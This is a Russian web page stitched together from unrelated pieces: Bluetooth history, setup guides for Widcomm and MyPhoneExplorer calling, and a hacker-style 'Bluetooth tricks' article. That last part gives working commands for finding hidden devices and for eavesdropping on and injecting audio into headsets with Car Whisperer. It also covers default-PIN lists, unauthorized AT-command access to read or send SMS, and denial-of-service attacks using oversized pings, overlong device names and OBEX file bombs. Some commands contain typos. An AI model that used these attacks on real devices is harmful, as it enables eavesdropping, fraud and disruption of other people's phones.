Мобильные телефоны и гаджеты

Мобильные телефоны и гаджеты

» » Голосовой телефонный звонок с компьютера. Настройка Bluetooth подключения. Трюки с Bluetooth: маленькие хитрости использования «синего зуба Настройка звуковых устройств компьютера

Голосовой телефонный звонок с компьютера. Настройка Bluetooth подключения. Трюки с Bluetooth: маленькие хитрости использования «синего зуба Настройка звуковых устройств компьютера

Вот уже больше 20 лет существует Bluetooth – стандарт беспроводной связи. И даже совсем не верится, что его история началась в далёком 1988 году. Оказывается и в те далёкие времена тоже была необходимость связи компьютера, мобильного телефона, принтера и других устройств без проводов. Конечно, тогда это стандарт использовался только для связи между телефонами и компьютерами для обмена какими-то данными, например теме же контактами.

Суть технологии Bluetooth – это использование радиоволн специальной частоты для связи между двумя устройствами. На заре его существования разные компании-производители мобильных телефонов использовали разные частоты для связи. И поэтому, скажем, связать в беспроводную сеть старые телефоны Nokia и Ericsson было просто невозможно. Затем уже все компании договорились в своих мобильных телефонах использовать только одну частоту радиоволн. И тем самым современная реальность начала потихоньку становиться действительностью.

Современная реальность такова, что сейчас Блютуз используют в очень многих устройствах: начиная от различных пультов и заканчивая ультрасовременными контролерами для игр. Есть, конечно, и другие стандарты беспроводной связи, такие как WLAN. Но так уж получилось, что в мобильных телефонах и смартфонах блютуз прижился лучше.

Основными недостатками Bluetooth всегда были его ограниченность в расстоянии и энергопотребление. И с каждым новым поколение эта проблема решалась и продолжает решаться. И в итоге в среднем блютуз работает на расстоянии от 1 до 200 метров.

Этот стандарт так же хорошо прижился в компьютерном мире. Его часто используют в беспроводных мышках и клавиатурах, для управления мобильным телефоном и смартфоном через компьютер, а также и наоборот. Но основная его функция так и осталась: передача данных от компьютера к мобильному телефону (смартфону) к компьютеру и наоборот. Данными могут оказаться всё что угодно: контакты, музыка, фотографии, текстовые документы, видео и какие-то команды.

А теперь поговорим о самих программах Bluetooth для компьютера. И начнём с их типов:

  • универсальные. То есть они не только файлы передают с телефона на ПК или ноутбук и обратно. Но и помощью них можно подключить блютуз-гарнитуру и звонить через скайп. Но такой софт чаще всего платный. Так же через них можно отправлять СМС, набирая текст на клавиатуре компьютера, что намного удобнее и быстрее. Так же они умеют делать резервные копии данных на телефоне: контактов, смс, музыки, фотографий и так далее. Сюда относят такой софт, как BlueSoleil.
  • простые передатчики файлов. У этих прог только одна функция передача файлов между телефоном и ПК. Но в отличии от встроенного софта телефона или блютуз адаптера они могут передавать или принимать файлы сразу с нескольких мобильных телефонов, смартфонов и планшетов. Это такие проги, как Files to Phones и MOBILedit! Lite.

И соответственно выбрать программу Bluetooth для компьютера не составит большого труда. Необходимо просто посмотреть на её функционал и сверить его со своими ожиданиями от работы через блютуз.

Программы Bluetooth для компьютера

(просто нажмите на её название, чтобы перейти к анализу и затем её скачать):

Её ценят за отличную работу; за большой набор функций.

Её ценят за интересные возможности; за то, что с помощью неё можно перекинуть контакты с одного телефона на другой за пару минут.

Программа для подключения компьютера к беспроводным сетям Bluetooth.

Внимание! Во избежание негативных отзывов, прочитайте это предупреждение!

1. Представленная здесь программа работает не на всех компьютерах .
2. Чтобы на компьютере работал Bluetooth, Вам однозначно нужен Bluetooth-адаптер (штучка, похожая на флешку, обычно из голубого полупрозрачного пластика, иногда она бывает уже встроена в ноутбук и её нужно включить - посмотрите в инструкции к ноутбуку). Без адаптера программа Widcomm никак не сможет работать.
3. Если у Вас ещё нет Bluetooth-адаптера, и Вам всё равно придётся его покупать, покупайте модель, к которой прилагается диск с драйверами (она будет стоить подороже рублей на 100).
4. Если Вы купили вышеуказанный адаптер с драйверами, то, скорее всего там будет и программа для работы с Bluetooth , и программа Widcomm Вам даже не понадобится.
5. Если Вы не проверили наличие адаптера - не ругайтесь в комментах, ок?

Надоели провода? Хочется работать на компьютере, лежа на диване? В комнате нет места для принтера, и он стоит за стенкой? А может надо просто перекинуть пару свежих музыкальных треков в телефон?

Со всем этим легко справится Bluetooth! Если Вы оснастите свой ПК модулем беспроводной связи, то сможете подключать к нему любые устройства, которые работают на тех же частотах (от 2,4 до 2,4835 ГГц) и находятся в зоне 1 — 100 метров от компьютера.

На сегодняшний день существует уже четыре (четвертая версия в данный момент находится на стадии тестирования) основные версии Bluetooth. Друг от друга их отличает только уровень энергопотребления, количество частотных каналов и скорость передачи данных.

Самым распространенным стандартом на данный момент является Bluetooth 2.0. Модули данного типа используются в большинстве мобильных телефонов, беспроводных манипуляционных устройств, аудиогарнитур и т.д., и позволяют обмениваться информацией со средней реальной скоростью до 1 мегабита в секунду.

Но для сопряжения внешних устройств с компьютером одного лишь адаптера мало — нужно еще ответствующее программное обеспечение для управления подключениями. Обычно такое ПО поставляется в комплекте с покупаемым Bluetooth-адаптером, но зачастую оно распространяется на условиях временной лицензией, либо демо-версии. Однако оказывается и в этой области существуют бесплатные решения.

Одним из них является комплекс от компании Widcomm. В него входит комплект драйверов, обеспечивающих взаимодействие с различными типами устройств, а также программная оболочка для удобного пользовательского управления, построенная на основе Проводника Windows. Сравним предложение Widcomm с другим популярным платным решением Bluesoleil:

Сравнение программы Widcomm с платным аналогом Bluesoleil

Несмотря на менее красиво оформленный интерфейс, Widcomm практически ни в чем не уступает платному аналогу, а зачастую имеет даже лучшую совместимость с адаптерами разных производителей! За счет чего это происходит? Дело в том, что Widcomm подбирает самый оптимальный пакет драйверов именно для Вашего устройства еще до начала инсталляции!

Установка Widcomm

Лучше всего воспользоваться он-лайн инсталлятором, который предоставлен для публичного скачивания на официальном сайте. Скачайте и запустите загрузчик Bluetooth, предварительно подключив к компьютеру Ваш адаптер.

Первое окошко, которое Вы увидите — лицензионное соглашение, которое надо «прочитать» и «подтвердить» (естественно мы сразу же жмем кнопку «Accept» ;)). После «принятия» условий лицензии появится следующее окно:

Здесь Вы можете видеть все процессы, выполняемые инсталлятором. Сначала он обнаруживает подключенные к нему Bluetooth-устройства и производит их валидацию, то есть, грубо говоря, проверяет на совместимость с драйверами Widcomm. Если валидация прошла успешно, то начнётся процесс загрузки программного обеспечения, а по его окончании стартует наконец-то и процесс инсталляции.

При скорости подключения в 1 Мбит/с вся процедура заняла у меня около 20 минут (и это еще, если учесть, что мое устройство прошло валидацию только со второго раза:)). После завершения установки потребуется перезагрузить компьютер, нажав кнопку «Reboot» в финальном диалоге.

После перезагрузки ПК на рабочем столе Вы увидите ярлык «Bluetooth-окружение», а в системном трее обнаружите значок с эмблемой блютуза:

Настройка Widcomm

Кликнув по нему правой кнопкой мыши, мы откроем меню настроек программного обеспечения Widcomm. Для начала предлагаю определиться с кое-какими настройками. Для этого выберем пункт «Панель настройки Bluetooth»:

В заглавном окне «Общие настройки» можно задать имя, под которым наше устройство будет фигурировать при сопряжении с внешними девайсами. Но больше всего нас интересуют разделы «Локальные службы» и «Клиентские приложения». Здесь мы можем настроить политики безопасности для каждого типа соединения, а также создать новые порты для подключения устройств типа принтеров и т.д.

Для изменения параметров соединения выберем нужный пункт и кликнем кнопку «Свойства» в левом нижнем углу.

Теперь мы можем установить тип соединения, автозапуск выбранной службы, а также указать кое-какие дополнительные параметры.

Итак, с настройками закончили, теперь перейдем к непосредственному подключению к компьютеру внешних устройств. Для примера рассмотрим сопряжение ПК с мобильным телефоном.

Подключение устройств к компьютеру через Bluetooth

Widcomm предоставляет два способа подключения устройств: быстрое и обычное. Если Вам требуется подключить определенный девайс лишь единожды (для передачи файла, визитки, звука…), проще всего выбрать в меню «Быстрое подключение» нужное действие и нажать кнопку «Найти устройства» (предварительно активировав Bluetooth на нем).

После обнаружения Вас попросят ввести пин-код для авторизации соединения. Придумываем произвольную комбинацию цифр (можно даже просто «1»:)) и вводим ее на устройстве и в открывшемся окне (если на устройстве, которое Вы подключаете нет цифровой клавиатуры (например, принтер), то стоит посмотреть код Bluetooth-сопряжения в инструкции).

При успешном соединении Вы получите доступ к нужной функции.

Если же Вы планируете подключать устройство к ПК неоднократно, то проще всего создать для него стандартное соединение. Для этого в меню выбираем пункт «Подключить устройство Bluetooth» — запустится специальный мастер. На первом этапе он, как и в случае с быстрым подключением, просканирует доступные устройства и выдаст нам их список:

Выбираем нужное и дважды кликнув на нем перейдем в окно выбора доступных служб:

В нашем примере мы можем настроить сопряжение с телефоном в виде серийного COM-порта, аудиошлюза, а также FTP и OPP сервера. Для передачи файлов лучше всего подойдет вариант с FTP-сервером. Отмечаем его и жмем «Далее».

В открывшемся окне можно задать имя подключения, после чего завершить создание ярлыка соединения, нажав кнопку «Готово».

Смотрим, что у нас получилось. Для этого откроем «Bluetooth-окружение», которое является пользовательским интерфейсом для взаимодействия с подключенными устройствами, и увидим там созданный только что ярлык.

Для подключения нам теперь достаточно дважды кликнуть по созданному значку. Если на сопрягаемом устройстве активизирована опция безопасного соединения, то придется ввести соответствующий пин-код (см. выше).

И вот наконец-то все готово! Мы получаем список файлов с телефона. Теперь можно копировать их на компьютер, переименовывать, просматривать и т.д.

Выводы

Благодаря тому, что Bluetooth имеет целый ряд частотных каналов, мы имеем возможность одновременно подключать к одному компьютеру несколько устройств.

Например, можно одновременно печатать фотографии на принтере, слушать музыку лежа на диване с беспроводной клавиатурой и просматривая последние новости в Интернете. А можем даже наладить беспроводную локальную сеть с доступом ко Всемирной паутине!

Видеоинструкция по работе с ПО для блютуза на компьютере Widcomm:

подпишитесь на новые видеоуроки!

У пользователей ПК, которые часто пользуются компьютерной гарнитурой, бывает необходимость принять входящий вызов, не отвлекаясь от работы за компьютером. Если компьютер оснащен Bluetooth адаптером (в современных ноутбуках и нетбуках уже установлены производителем), можно использовать наушники и микрофон компьютера в качестве беспроводной гарнитуры телефона. Если у вас возникнет необходимость использовать компьютер для разговоров по телефону, но у вашего ПК нет встроенного адаптера Bluetooth, его можно недорого купить в любом компьютерном магазине. Внешне он очень похож на обычную флешку.

Естественно, телефон должен иметь встроенный Bluetooth. В принципе не важно — на какой платформе работает ваше устройство. В данной статье речь пойдет о настройке Bluetooth соединения между ПК с Windows 7 и телефоном на Android для осуществления голосовых звонков. Также будут даны рекомендации по подключению телефонов на других платформах.

Почему Bluetooth?

Преимущество Bluetooth соединения перед Wi-Fi состоит в том, что оно слабее по мощности и, соответственно, экономнее расходует запас энергии батареи телефона (отсюда недостаток: меньший радиус действия). Очевидно, что преимущество Bluetooth перед USB-кабелем состоит в том, что не обязательно держать телефон возле компьютером.

Подключение устройств

Первым делом нам нужно настроить сопряжение устройств и проверить, поддерживают ли стеки Блютуз устройств профили: "A2DP", "HFP" и "HSP". Перечисленные профили отвечают за передачу звука с телефона на компьютер и обратно.

Самый простой способ проверки аудио служб – это подключение телефона к компьютеру во время воспроизведения музыки встроенным плеером устройства. В каждом телефоне с Блютуз, есть функция воспроизведения музыки по Bluetooth.

Сопряжение устройств в режиме аудио

Убедитесь, что в телефоне и компьютере включены и доступны для обнаружения устройства Bluetooth. Откройте плеер в телефоне и запустите какую-нибудь песню. В настройках плеера нажмите "Воспроизведение по Bluetooth".

Будет произведен поиск устройств (в некоторых телефонах нужно выполнить поиск вручную). Выберите ваш компьютер из списка найденных устройств. На экране телефона появится сообщение с проверочным кодом. Подтвердите код, нажав везде "Принять". На некоторых телефонах код нужно придумать и ввести самому.

Также на экране компьютера должно появиться окно с тем же кодом, что и на телефоне:

Если ваши устройства поддерживают аудио профили, звук будет выводиться через наушники или колонки компьютера и появится сообщение об успешном сопряжении устройств.

Также должно появиться окно с настройками подключенного устройства. Если оно автоматически не появится, его можно открыть вручную, нажав: "Пуск > Все программы > Устройства Bluetooth > Имя вашего устройства" или "Пуск > Панель управления > Оборудование и звук > Устройства и принтеры > Имя вашего устройства".

В окне настроек должны быть активны службы аудио. Если они не активны, нажмите кнопки "Включить" напротив обоих служб.

Настройка звуковых устройств компьютера

Для настроек звука на компьютере зайдите в: "Пуск > Панель управления > Оборудование и звук > Звук". Если у вас несколько звуковых карт, выберите желаемое устройство воспроизведения звука из списка и нажмите на кнопку "По умолчанию" внизу.

Переключитесь на вкладку "Запись" и выберите желаемый микрофон по умолчанию.

Управление вызовами телефона на компьютере

Для управления вызовами телефона на компьютере можно использовать фирменную утилиту вашего телефона (Samsung Kies, Nokia PC Suite, LG, HTC Sync и другие). Я лично пользуюсь "MyPhoneExplorer" – универсальной программой для Android устройств. Как установить и настроить программу, я уже рассказывал .

"MyPhoneExplorer" поддерживает несколько способов подключения: USB кабель, Wi-Fi, Bluetooth. Так как передача звука осуществляется по Bluetooth, то управление телефоном целесообразно производить через это же подключение.

Подключаем телефон к компьютеру и открываем программу. Выбираем в меню слева телефонную книгу и желаемого абонента в списке, которому хотим позвонить.

Нажимаем на кнопку "Набрать", появится окно набора номера:

Ждем, пока абонент поднимет трубку на другом конце, и общаемся используя наушники или колонки и микрофон компьютера.

Если кто-то позвонит на телефон подключенный к компьютеру по Bluetooth и будет запущена программа "MyPhoneExplorer", входящий вызов будет отображаться в отдельном окне:

Пропущенные вызовы отображаются в отдельном окне, а в области уведомлений, как напоминание, будет мигать красная телефонная трубка.

Видео

Все отлично знают, что с помощью Bluetooth можно передать файл с девайса на девайс или подключить беспроводную гарнитуру. Но этим его возможности не ограничиваются. Имея при себе нужный инструмент, можно творить настоящие чудеса. Так почему бы не попробовать себя в роли фокусника?

Встроенный модуль технологии Bluetooth (или, если более официально, IEEE 802.15.3 ) давно перестал быть диковинкой. Стоимость модуля настолько мизерна, что не встраивает его в мобильный, ноутбук или КПК только ленивый производитель. Да и то – по соображениям маркетинга. Словом, Bluetooth используют практически все. Но лишь единицы знают, что, используя технологию, рискуют выдать свои конфиденциальные данные. Но начнем все-таки с хорошего!

Трюк 1: Используем BT для удаленного доступа к компьютеру

Как-то для проведения презентации я пригласил одну длинноногую подругу – нажимать кнопку «пробел», чтобы перелистывать слайды в Power Point. Это удовольствие стоило мне недешевого обеда и двух часов пустых разговоров с Barbie girl. После этого я твердо решил: в следующий раз проблему отсутствия пульта ДУ я обойду по-другому. И обошел, воспользовавшись мобильником! Да-да, прямо с телефона можно перелистывать слайды, управлять музыкой – и делать еще бог знает что. Главное, чтобы на мобильнике и компьютере были установлены BT-модули. Мало того, что сэкономишь деньги и силы, так еще и выглядеть будешь непростительно модно. Показать такой фокус способен каждый, кто заюзает утилиту
Bluetooth Remote Control
, не столь давно обновившуюся до версии 3.0. Она позволяет управлять компьютером с экрана любого мобильного телефона. Все очень просто. На компьютер ставится специальная серверная часть, а на телефон – программа-клиент, написанная на Java (требуется MIDP 2.0). После настройки нехитрой схемы ты сможешь дистанционно управлять мышкой и клавиатурой компа. И самое главное – получишь доступ к удаленному рабочему столу. Настоящий Remote Desktop прямо с экрана мобильного телефона! Ну, а с длинноногой подругой время можно провести куда более удачно. Bluetooth Remote Control пригодится и здесь: чтобы поставить
романтическую музыку:).

Трюк 2: Контроль доступа с помощью BT

Если ты работаешь в комнате, где вместе с тобой сидит с десяток коллег, тебе наверняка приходилось блокировать компьютер, когда уходишь в другое помещение. А что? Не успеешь отойти, как кто-нибудь уже покопается на твоем харде. Расклад не самый приятный. В общем, лочить компьютер нужно обязательно, вопрос в том – как? Можно использовать стандартные возможности винды и по десять раз на дню вводить длиннющий пароль. Или же делать это красиво с помощью технологии Bluetooth . Все просто, как дважды два. Отходишь от компьютера – и он тут же блокируется. Возвращаешься обратно – и лока как не бывало! Единственное условие: как в компьютере, так и в мобильном телефоне должен быть установлен модуль
Bluetooth , а в системе заинсталена программа LockItNow (ты легко можешь ) . Впрочем, приятелям и коллегам можно рассказывать о телепатических возможностях, а потом продавать секрет за деньги:). Кстати говоря, если под рукой BT-модуля нет, то его можно заменить телефоном, который поддерживает «синий зуб» (подключи по COM-порту).

Трюк 3: Снифаем BT-трафик из эфира

Мастерство начинается с понимания. Не возникало ли у тебя когда-нибудь желания посмотреть внутрь протокола и узнать, как происходит обмен данными через «синий зуб»? Прослушивание трафика Bluetooth может выполняться только «в себя», то есть выполняется перехват исходящего и входящего трафика узла, на котором ты отдал команды. В этом деле немаловажное значение имеет так называемый Host Controller Interface (HCI), который позволяет обращаться к передатчику. HCI-узел обычно подключается к узлу драйвера устройства Bluetooth (входящий поток) и к узлу L2CAP (исходящий поток). Windows платформа по умолчанию такой возможности не предоставляет. Однако сторонними разработчиками были выпущены
специальные драйвера, которые позволяют переводить стандартный донгл в сниффер . Традиционно показательной в этом плане является работа FTS4BT Wireless Bluetooth Protocol Analyzer , стоящего бешеные деньги. Продукт цепляет тем, что поддерживает новый Bluetooth v2.0 + EDR , на базе которого работают современные устройства и, более того, способен на лету декодировать весь трафик из эфира, аккуратно отсортировывая аудио, данные протоколов приложений и многое другое. Понятно, что для снифинга (да и вообще) наиболее актуальны USB-донглы класса 1, радиус действия которых достигает ста метров.

Трюк 4: Работаем с BT-адаптером напрямую

Долгое время Bluetooth стеки для Windows предоставляли настолько скудные возможности , что программисты просто обходили эту платформу стороной. Этим объясняется, что большинство программ для серьезных забав c «синим зубом» разрабатываются под никсовую платформу. Некоторые из хитрых приемов мы разберем именно на это платформе, а именно FreeBSD (напомню, что на диске прошлого номера мы выкладывали свежий 7.0 релиз этой ОС). Сама технология Bluetooth официально стала поддерживаться на ней только с 5-ой ветки на базе подсистемы Netgraph. Радует, что большинство USB-адаптеров совместимы с драйвером ng_ubt (его необходимо завести перед подключением устройства). Попробуем?

  1. Подключаем устройство: kldload ng_ubt
  2. Копируем сценарий подгрузки стека в удобное место: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
  3. Копируем сценарий подгрузки стека в удобное место и запускаем: sh /usr/local/etc/rc.bluetoots start ubt0

Теперь хочу познакомить тебя с утилитой hccontrol. Это одна из основных программ для работы с BT-модулем. Именно она выполняет все операции, связанные с интерфейсом HCI, и имеет следующий синтаксис: hccontrol –n <имя_hci_узла> <команда>. Проверим функциональность нашего устройства, просканиров эфир на наличие устройств:

hccontrol –n ubt0hci Inquiry

Как результат, утилита выведет информацию о найденных устройствах, в том числе их MAC-адреса. Надо заметить, что каждое из устройств Bluetooth, будь то хедсет или обыкновенный телефон, представляет некоторый набор сервисов . Базовый перечень включает в себя: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point). Чтобы выяснить, какие сервисы предоставляет то или иное устройство, используется запрос на специальном протоколе SPD (Service Descovery Protocol). Сервер SPD работает непосредственно на машине-хосте и является исключительно информационной составляющей (повлиять на него
невозможно). Определить, какие сервисы предоставляют найденные устройства, можно с помощью соответствующей утилиты:

# spdcontrol -a browse

Трюк 5: Находим скрытые устройства

Итак, эфир мы просканировали и даже выяснили, какие сервисы доступны на активных устройствах. Но вот загвоздка! Некоторые девайсы никак не выдают своего присутствия, поскольку находятся в режиме «Undiscoverable mode» и не отвечают на широковещательные запросы. По настройкам своего телефона ты наверняка знаешь о подобной опции безопасности. Однако обнаружить такие устройства все-таки можно !

Самый известный прием их обнаружения – тупой перебор MAC-адресов, то есть последовательная посылка запросов на разные адреса из определенного диапазона. Для этого нужно использовать очень простую утилиту Redfang , которая перебирает последние шесть байт адреса устройства и таким образом обнаруживает спрятавшиеся устройства.

Другой вариант – это использовать пассивные методики : перевести свое устройство в режим ожидания, при этом назначить сети какое-нибудь привлекательное имя:

hciconfig hci0 name BT_YANDEX
hciconfig hci0 down
hciconfig hci0 up
hcidump -V | grep bdaddr

В результате отобразятся все входящие соединения, среди которых могут запросто оказаться товарищи со скрытыми идентификаторами.

Трюк 6: Перехватываем из эфира разговоры по гарнитуре

Одна из основных угроз радиотехнологий состоит в том, что данные можно перехватить. Первое, что приходит в голову, касаемо Bluetooth – прослушать разговоры людей, использующих гарнитуру . И зачастую это реально! На хакерском фестивале What the Hack в Нидерландах специалисты из группы Trifinite продемонстрировали, как при помощи ноутбука с Linux, специальной программы и направленной антенны можно подслушать, о чем говорит через Bluetooth-гарнитуру водитель проезжающего автомобиля. Группа разработала программу Car Whisperer («Автомобильный шептун»). Возможности программы относительно невелики: прослушать можно только тех, кто забыл сменить заводские пароли доступа к Bluetooth наподобие
«0000» или «1234». Но таких бедолаг, поверь, очень и очень много! «Шептун» способен вклиниться и успешно пройти «pairing» устройств, получив информацию, передаваемую с каркита или хедсета на мобилку. Хочу обратить внимание: утилита позволяет не только получить информацию, передающуюся между хедсетом и мобилой, но и инжектить туда свою. Мы решили проверить возможности этой программы, скачав Car Whisperer с сайта разработчиков.

hciconfig адаптер class 0x500204
# 0x500204 - это класс «phone»

В противном случае некоторые «умные» девайсы могут заподозрить неладное. Смотрим синтаксис утилиты, который выглядит следующим образом:

./carwhisperer «что внедряем в линию» «что захватываем из линии» «адрес устройства» [канал]

Мы взяли внедряемый файл прямо из папки утилиты, а в качестве выходного указали out.raw:

./carwhisperer 0 message.raw /tmp/out.raw
00:15:0E:91:19:73

На выходе получаем файл out.raw. Прослушать его в чистом виде нельзя: необходимо преобразовать в аудио формат, для чего потребуется дополнительная утилита. Подойдут довольно многие аудио конвертеры, например :

raw –r 8000 –c 1 –s –w out.raw –t wav –r
44100 –c 2 out.wav

Кроме прослушивания, можно войти в систему, просмотреть телефонную книгу и воспользоваться другими возможностями «свободных рук» с Bluetooth. Принцип такой: сначала осуществляется поиск активных устройств и проверка на предмет сервиса HS (Head Set). Далее исследуется MAC-адрес устройства и производится попытка подключения с использованием стандартного ключа. Если коннект установлен, то с устройством можно делать все, что угодно (в пределах доступного набора AT-команд).

На практике это выглядит следующим образом. Сначала осуществляется поиск всех активных гарнитур с помощью команды «sdptool search HS», которая выдает примерно такой ответ:

Inquiring ...
Searching for HS on 00:0A:3A:54:71:95 ...
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
"Headset" (0x1108)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 7
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Далее осуществляется попытка открыть RFCOMM соединение на SCO audio channel с помощью команды «rfcomm connect 2 00:0A:3A:54:71:95 1» и посылка нужных AT-команд. Приведу небольшую статистическую заметку о данных авторизации на некоторые модели беспроводных гарнитур:

Nokia (00:02:EE...) - pin="5475"
Audi UHV (00:0E:9F...) - pin="1234"
O"Neill (00:80:37...) - pin="8761"
Cellink (00:0A:94...) - pin="1234"
Eazix (00:0C:84...) - pin="1234"

Кстати говоря, тот же принцип может использоваться для несанкционированного подключения и ко всем остальным устройствам . При помощи AT-команд и протокола RFCOMM можно, к примеру, прочитать SMS-сообщение или даже отправить его с чужого телефона на платный номер, поставив владельца девайса на деньги. Будь бдителен!

Трюк 7: DDoS BT-устройств

Подход традиционен. DDoS реально провести, когда хостовый девайс («master») выполняет работу, во много раз превосходящую клиентскую. Такую ситуацию называют атакой на отказ в обслуживании (Denial Of Service). Она может подвесить телефон или привести к быстрой разрядке батарейки. Провести атаку можно несколькими способами. Начнем со стандартных средств. Самое очевидное – пинговать девайс пакетами большого размера. Сделать это можно, указав утилите l2ping в качестве параметра «-s» флаг:

# l2ping -s 10000 -b "МАС адрес"

Сама программа, как ты уже понял, является родственником ping в bluetooth среде и служит для проверки связи и наличия соединения. Другой способ, принципиально отличающийся от первого, состоит в использовании приема «fuzzing» – своеобразной техники-лотереи, потому как заранее неизвестно, что произойдет. Это новое веяние в выявлении уязвимостей в продуктах без анализа исходных кодов. Полагается техника только на интерактивное общение с объектом на понятном для него языке, но с абсолютно хаотичными аргументами и значениями-переменными. Хакерской задачей будет сделать так, чтобы видимое название телефона состояло из достаточно большого числа элементов. При обнаружении его «master’ом» в 70%
случаев происходит переполнение или отказ в обслуживании:

hciconfig hci0 name `perl -e "print "ash" x 3137"`
# Команда для линукса
hccontrol –n адаптер change_local_name “новое имя”)
# пример для FreeBSD

Многие телефоны по-прежнему не могут переварить файлы-бомбы. Вот простая реализация подобного приема.

  1. Сначала готовят «бомбу». Известный пример:
    echo `perl -e ‘print "skvz" x 3137’` > file
  2. После чего используют модифицированную утилиту для взаимодействия с OBEX – USSP PUSH (xmailserver.org/ussp-push.html)
    ./obextool push file 00:0A:3A:54:71:95 `perl -e ‘print "skvz" x 3137’` 3